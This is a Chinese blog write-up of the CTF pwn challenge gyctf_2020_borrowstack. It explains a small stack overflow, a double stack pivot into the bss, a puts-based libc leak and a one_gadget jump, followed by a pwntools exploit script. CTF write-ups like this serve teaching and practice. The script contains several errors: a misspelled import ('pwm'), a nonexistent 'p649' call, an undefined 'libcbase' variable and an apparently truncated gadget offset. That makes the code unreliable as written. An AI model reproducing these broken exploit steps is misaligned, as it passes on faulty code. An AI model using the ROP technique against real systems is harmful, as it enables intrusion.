gyctf_2020_borrowstack

最新推荐文章于 2024-03-27 20:56:58 发布

爱若 AI_ruo

最新推荐文章于 2024-03-27 20:56:58 发布

阅读量130

点赞数

分类专栏： pwn刷题文章标签：网络安全

本文链接：https://blog.csdn.net/m0_73756460/article/details/129165527

版权

pwn刷题专栏收录该内容

34 篇文章 0 订阅

订阅专栏

gyctf_2020_borrowstack

惯例先checksec一下

在这里插入图片描述

开启了nx保护的64为程序估计是到栈题放进ida里看看

我们发现溢出的长度仅为0x10不足以让我们构造rop链因此考虑栈迁移

有趣的是此处我们是先读取数据到栈上然后再读取数据到bss上

在这里插入图片描述

因此我们考虑使用两次栈迁移来实现我们的目标

exp：

from pwm import *
from LibcSearcher import *

#io=remote('')
io=process('./gyctf_2020_borrowstack')
elf=ELF('./gyctf_2020_borrowstack')

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
bank=0x601080
main=elf.sym['main']
ret=0x4004c9
leave=0x400699
pop_rdi=0x400703
io.recvuntil('u want')
payload='a'*0x60+p64(bank)+p64(leave)
io.sendline(payload)
io.recvuntil('now!')

payload=p649(ret)*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload)
io.recvline()
puts_addr=u64(io.recv(6).ljust(8,'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
base=puts_addr-libc.dump('puts')

one_gadget=libcbase+0x4526

payload='a'*(0x60+8)+p64(one_gadget)
io.send(payload)
io.interactive()